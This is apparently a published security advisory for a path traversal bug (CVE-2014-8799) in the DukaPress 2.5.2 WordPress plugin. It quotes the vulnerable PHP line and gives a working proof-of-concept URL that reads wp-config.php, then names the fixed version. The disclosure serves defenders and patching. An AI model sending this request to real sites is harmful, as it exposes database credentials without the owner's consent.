DukaPress 2.5.2 Path Traversal

2014.11.29
Credit: Kacper Szurek
Risk: High
Local: No
Remote: Yes
CVE: CVE-2014-8799
CWE: CWE-22


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

# Exploit Title: DukaPress 2.5.2 Path Traversal # Date: 27-10-2014 # Exploit Author: Kacper Szurek - http://security.szurek.pl # Software Link: https://downloads.wordpress.org/plugin/dukapress.2.5.2.zip # Category: webapps # CVE: CVE-2014-8799 1. Description dp_img_resize() returns $_REQUEST['src'] if $_REQUEST['w'] and $_REQUEST['h'] doesn't exist. File: dukapress\lib\dp_image.php if (!function_exists('add_action')) { require_once('../../../../wp-load.php'); } echo file_get_contents(dp_img_resize('', $_REQUEST['src'],$_REQUEST['w'], $_REQUEST['h'])); http://security.szurek.pl/dukapress-252-path-traversal.html 2. Proof of Concept http://wordpress-url/wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php 3. Solution: Update to version 2.5.4 https://downloads.wordpress.org/plugin/dukapress.2.5.4.zip https://plugins.trac.wordpress.org/changeset/1024640/dukapress

References:

http://security.szurek.pl/dukapress-252-path-traversal.html
http://xforce.iss.net/xforce/xfdb/98943
https://wordpress.org/plugins/dukapress/changelog/
http://www.exploit-db.com/exploits/35346
https://plugins.trac.wordpress.org/changeset/1024640/dukapress


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